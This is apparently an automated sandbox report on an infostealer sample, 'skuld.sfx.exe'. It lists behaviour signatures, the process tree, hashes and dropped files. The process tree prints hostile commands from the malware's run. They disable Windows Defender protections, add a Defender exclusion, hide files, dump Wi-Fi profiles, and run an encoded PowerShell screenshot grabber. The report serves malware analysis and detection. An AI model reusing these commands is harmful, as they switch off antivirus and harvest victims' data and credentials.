Analysis

  • max time kernel
    143s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    26-07-2024 14:15

General

  • Target

    skuld.sfx.exe

  • Size

    3.7MB

  • MD5

    69f045b706e34f7b013a1b3ef972b1f2

  • SHA1

    0078959f87e4de4735def1ee9fcd99592757000b

  • SHA256

    a2ce7baa72bb51468a0e92846530a8adc036fbf7ecdaaa40d0b68e86bb0d23e0

  • SHA512

    294557695432f1c09e464c012ab330ca494fa9055c946e07b38723821e21ca646cf733a335bc29f343ba7b3c2eb18e51760bb7e7553682d9d315d38762eb9acd

  • SSDEEP

    49152:t84a+Ka/iNj4WLG1cNLsvhZmKrniMrbokZPVuJqfK8eyl5LVPELrG0GR7Efp:tEXFegvKdYkZPYJoqyl5xPaNfp

Malware Config

Signatures

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Reads user/profile data of local email clients 2 TTPs

    Email clients store some user data on disk where infostealers will often target it.

  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 2 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • GoLang User-Agent 1 IoCs

    Uses default user-agent string defined by GoLang HTTP packages.

  • Modifies system certificate store 2 TTPs 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 14 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 34 IoCs
  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe
    "C:\Users\Admin\AppData\Local\Temp\skuld.sfx.exe"
    1⤵
    • Checks computer location settings
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:2252
    • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Adds Run key to start application
      • Maps connected drives based on registry
      • Modifies system certificate store
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4772
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        3⤵
        • Views/modifies file attributes
        PID:2012
      • C:\Windows\system32\attrib.exe
        attrib +h +s C:\Users\Admin\AppData\Roaming\Microsoft\Protect\SecurityHealthSystray.exe
        3⤵
        • Views/modifies file attributes
        PID:2140
      • C:\Windows\System32\Wbem\wmic.exe
        wmic csproduct get UUID
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:3772
      • C:\Windows\System32\Wbem\wmic.exe
        wmic path win32_VideoController get name
        3⤵
        • Detects videocard installed
        • Suspicious use of AdjustPrivilegeToken
        PID:1932
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command Add-MpPreference -ExclusionPath C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:968
      • C:\Windows\System32\Wbem\wmic.exe
        wmic os get Caption
        3⤵
          PID:5096
        • C:\Windows\System32\Wbem\wmic.exe
          wmic cpu get Name
          3⤵
            PID:612
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:3148
          • C:\Windows\System32\Wbem\wmic.exe
            wmic path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:3064
          • C:\Windows\System32\Wbem\wmic.exe
            wmic csproduct get UUID
            3⤵
              PID:4480
            • C:\Windows\system32\attrib.exe
              attrib -r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:2668
            • C:\Windows\system32\attrib.exe
              attrib +r C:\Windows\System32\drivers\etc\hosts
              3⤵
              • Drops file in Drivers directory
              • Views/modifies file attributes
              PID:4364
            • C:\Windows\system32\netsh.exe
              netsh wlan show profiles
              3⤵
              • Event Triggered Execution: Netsh Helper DLL
              • System Network Configuration Discovery: Wi-Fi Discovery
              PID:440
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
              3⤵
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of WriteProcessMemory
              PID:2356
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\qpqxxghx\qpqxxghx.cmdline"
                4⤵
                • Suspicious use of WriteProcessMemory
                PID:512
                • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                  C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES460.tmp" "c:\Users\Admin\AppData\Local\Temp\qpqxxghx\CSCDBE624ADB9E5483B9BD13EE1A5A884.TMP"
                  5⤵
                    PID:5108

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            2KB

            MD5

            d85ba6ff808d9e5444a4b369f5bc2730

            SHA1

            31aa9d96590fff6981b315e0b391b575e4c0804a

            SHA256

            84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

            SHA512

            8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            6d42b6da621e8df5674e26b799c8e2aa

            SHA1

            ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

            SHA256

            5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

            SHA512

            53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            944B

            MD5

            15dde0683cd1ca19785d7262f554ba93

            SHA1

            d039c577e438546d10ac64837b05da480d06bf69

            SHA256

            d6fa39eab7ee36f44dc3f9f2839d098433db95c1eba924e4bcf4e5c0d268d961

            SHA512

            57c0e1b87bc1c136f0d39f3ce64bb8f8274a0491e4ca6e45e5c7f9070aa9d9370c6f590ce37cd600b252df2638d870205249a514c43245ca7ed49017024a4672

          • C:\Users\Admin\AppData\Local\Temp\RES460.tmp

            Filesize

            1KB

            MD5

            5d47531ea707152ca60b4deccf80d981

            SHA1

            d762081ab2a3205ffb9b26d328e8235461e4d144

            SHA256

            7ec4c3d1071bff79f26f3eb49a69f01e7ee46b7efdce0de3a83fdd3b5bb773af

            SHA512

            97ebb5b6822be0ec7e9b704d168685c489a3774361a46ff0a4b48f50a640d25b66d61ad02671bd11aa6f40934e03d8b0234a2e154c9d3461015a10dc0dcb8b27

          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\skuld.exe

            Filesize

            9.5MB

            MD5

            3ffb6b537cbb924e0ccfa2431a649ef3

            SHA1

            f813990a27cae2137fc0f7a3ec1e62462cda6f60

            SHA256

            4a1378fc9481b9815a286c7319c1f9d9da43aef1087c4ea5153f7111e50152bb

            SHA512

            6e60fa40b2d9e406b4682b9957823aa090fe52b4521d27305d9e5c953d0fdc9514127b0301e91a21a1a06d3ac991ba97325cc91d8fc2abee6eeb87f0eef9e926

          • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_hgslwr51.1vc.ps1

            Filesize

            60B

            MD5

            d17fe0a3f47be24a6453e9ef58c94641

            SHA1

            6ab83620379fc69f80c0242105ddffd7d98d5d9d

            SHA256

            96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

            SHA512

            5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

          • C:\Users\Admin\AppData\Local\Temp\qpqxxghx\qpqxxghx.dll

            Filesize

            4KB

            MD5

            68e3ec4389548f84364097a55ef51751

            SHA1

            df652330352544b16b1d469c17092c369e4b34c8

            SHA256

            05c8926f90e9d82f2618d930006e11cb7e9b0d0b978c91449ad945a3c254cd40

            SHA512

            bb6d84efe4ab5d4038bb66fb6d6690da77955f5e9406ce480f06c37e4ff673f2051aae70f91dfcb16e6aa074976a27d6e7123d105082a3e0ee638399719dfd1f

          • C:\Users\Admin\AppData\Local\Temp\rjH7wQrbKV\Display (1).png

            Filesize

            441KB

            MD5

            eb0a81ce25b07af5519e191528eba3c6

            SHA1

            17b5b926d6fec09ac2448b5d9e4e8df49daac678

            SHA256

            c8925b0adb3310d91ad8716bd1e94279aed3f8e5058f7d9dc7c039acb92ea991

            SHA512

            a028cf46cb4e5d368e486ca2262b4f347457a36f1f2937a8f7e5f701fd9ec5ea6b4cdc0d9046d21de3be93e3fa26fd46381b9daefbb4622f44603e3ac85c75c4

          • C:\Windows\System32\drivers\etc\hosts

            Filesize

            2KB

            MD5

            6e2386469072b80f18d5722d07afdc0b

            SHA1

            032d13e364833d7276fcab8a5b2759e79182880f

            SHA256

            ade1813ae70d7da0bfe63d61af8a4927ed12a0f237b79ce1ac3401c0646f6075

            SHA512

            e6b96f303935f2bbc76f6723660b757d7f3001e1b13575639fb62d68a734b4ce8c833b991b2d39db3431611dc2cacde879da1aecb556b23c0d78f5ee67967acb

          • \??\c:\Users\Admin\AppData\Local\Temp\qpqxxghx\CSCDBE624ADB9E5483B9BD13EE1A5A884.TMP

            Filesize

            652B

            MD5

            a7d4bd9eb7adca1ca2c0a095a545b18c

            SHA1

            5b8c2553dca1c78908484c8c42f5ef23711bc96d

            SHA256

            ee0a803d7300db151977c344675352a8408ee83493320a1d9bb2d5ec459ce8d6

            SHA512

            1876e38303ebcc2014c5b7e4ccfb69c888a6a943cda8171739abedaa3e34cb5d4946f35e104c7a7f448f96e54ea5dd9c2461a9c8a757500ce7b4e35c8e9bbe52

          • \??\c:\Users\Admin\AppData\Local\Temp\qpqxxghx\qpqxxghx.0.cs

            Filesize

            1004B

            MD5

            c76055a0388b713a1eabe16130684dc3

            SHA1

            ee11e84cf41d8a43340f7102e17660072906c402

            SHA256

            8a3cd008e86a3d835f55f8415f5fd264c6dacdf0b7286e6854ea3f5a363390e7

            SHA512

            22d2804491d90b03bb4b640cb5e2a37d57766c6d82caf993770dcf2cf97d0f07493c870761f3ecea15531bd434b780e13ae065a1606681b32a77dbf6906fb4e2

          • \??\c:\Users\Admin\AppData\Local\Temp\qpqxxghx\qpqxxghx.cmdline

            Filesize

            607B

            MD5

            b6f6086f5eb6de0bf52bfbddc17ce092

            SHA1

            7bc10b517f00be62e167fd12b20d3fd6cde0a182

            SHA256

            f47147328bd19ca637f544a5023779ecaa8f10e83941c7c187b1bafa87b53c4b

            SHA512

            59935f5f9cc086ece652ac39b58ffff93b0e6e9e805ec3d6d56e1b0e5bd6c2cb63a3db3d578eb163d6b27d41427846576192519c9f1a1c28c7de47bee2e43704

          • memory/968-17-0x00000180828B0000-0x00000180828D2000-memory.dmp

            Filesize

            136KB

          • memory/2356-65-0x00000226F1EB0000-0x00000226F1EB8000-memory.dmp

            Filesize

            32KB